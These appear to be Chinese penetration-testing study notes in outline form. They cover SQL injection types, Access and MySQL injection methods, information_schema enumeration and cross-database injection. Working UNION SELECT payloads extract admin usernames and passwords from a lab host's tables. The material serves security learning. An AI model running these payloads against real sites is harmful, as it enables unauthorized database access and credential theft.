- 通用漏洞SQL
- SQL注入
- 针对数据库的攻击手法,通过在输入字段中插入恶意的SQL代码,改变或破坏原本预期的SQL注入查询
- 基于注入参数类型
- 数字型注入、字符型注入
- 基于请求提交方式
- GET注入、POST注入
- 基于获取信息方式
- 有回显的注入
- 联合查询注入、基于报错注入
- 无回显注入
- 基于布尔盲注、基于时间盲注
- 有回显的注入
- 其他类型注入
- 堆叠注入、二次注入、宽字节注入
- 基于注入参数类型
- SQL注入漏洞运行原理
- 脚本代码在实现代码与数据库进行数据通讯时(从数据库取出相关数据进行页面展示),将定义的SQL语句能通过参数自定义值来实现控制SQL语句,可执行恶意SQL语句,也可查询其他数据
- 漏洞产生根本条件
- 可控变量&特定函数
- http://192.168.46.160:85/Production/PRODUCT.asp http://192.168.46.160:85/Production/PRODUCT.asp?id=1513
- 如果下面的URL地址测试注入判断id有注入,手工测试该如何进行?
- http://192.168.46.160:85/Production/PRODUCT.asp?id=1513&page=1 http://192.168.46.160:85/Production/PRODUCT.asp?page=1&id=1513
- Production/PRODUCT.asp?id=1513 注入语句&page=1 对 Production/PRODUCT.asp?id=1513&page=1 注入语句 错
- 注意是id
- 可控变量&特定函数
- SQL注入攻击流程
- 1、猜测数据库类型
- 2、根据类型选择思路
- 针对数据库的攻击手法,通过在输入字段中插入恶意的SQL代码,改变或破坏原本预期的SQL注入查询
- 数据库
- ACCESS
- 独立存在
- 数据库名
- 表名
- 列名
- 数据
- 列名
- 表名
- 数据库名
- #ASP+Access-简易注入-字典猜解
- 由于 Access 数据库特性导致这个 SQL 注入是需要借助字典去猜解表名和列名的,那么就会出现表名
- 或列名猜解不到,可以自定义社工字典或采用偏移注入!
- #ASP+Access-偏移注入-报错显示
- 偏移注入就是解决表名已知,列名未知的情况!
- 独立存在
- MySQL
- 统一管理
- 最高数据库用户=root用户
- 数据库A=网站A=数据库用户A
- 表名
- 列名
- 数据
- 列名
- 表名
- 数据库B=网站B=数据库用户B
- 数据库C=网站C=数据库用户C
- 数据库A=网站A=数据库用户A
- 最高数据库用户=root用户
- 为了网站和数据库的安全性,MySQL内置有root最高用户,划分等级,每个用户对应管理一个数据库,这样保证无不关联,从而不会影响到其他数据库的运行
- MySQL两种思路
- 1、非root的注入攻击:常规类的猜解
- 2、root用户的注入攻击:文件读写操作,跨库查询注入等
- 黑盒测试中可以采用 user()获取当前用户权限,白盒中看连接用户即可!
- select * from product where id=1513
- 查询admin表名
- UNION select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
- 查询 admin 表名下的 admin 等列名
- UNION select 1,2,admin,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
- MYSQL5.0 以上版本:自带的数据库名 information_schema
- information_schema:存储数据库下的数据库名及表名,列名信息的数据库
- information_schema.tables:记录表名信息的表
- information_schema.columns:记录列名信息表
- information_schema.tables
- 获取相关数据
- 1、数据库版本-看是否符合 information_schema 查询-version()-5.5.532
- 2、数据库用户-看是否符合 ROOT 型注入攻击-user()-root@localhost
- 3、当前操作系统-看是否支持大小写或文件路径选择-@@version_compile_os-win
- 4、数据库名字-为后期猜解指定数据库下的表,列做准备-database()-syguestbook
- ROOT类型攻击 -猜解数据,文件读写,跨库查询
- 获取 syguestbook 数据库下面的表名信息:
- UNION SELECT table_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where
- table_schema='syguestbook'
- 获取表名 sy_adminuser 的列名信息:
- UNION SELECT column_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns
- where table_name='sy_adminuser' and table_schema='syguestbook'
- 获取指定数据:
- UNION SELECT username,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from sy_adminuser
- 获取 syguestbook 数据库下面的表名信息:
- 跨库注入:
- 实现当前网站跨库查询其他数据库对应网站的数据
- 获取当前 mysql 下的所有数据库名
- UNION SELECT schema_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.schemata
- 获取数据库名 xhcms 下的表名信息
- UNION SELECT table_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where
- table_schema='xhcms'
- 获取数据库名 xhcms 下的表 manage 下的列名信息:
- UNION SELECT column_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns
- where table_name='manage' and table_schema='xhcms'
- 获取指定数据:
- UNION SELECT user,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from xhcms.manage
- 统一管理
- ACCESS
- SQL注入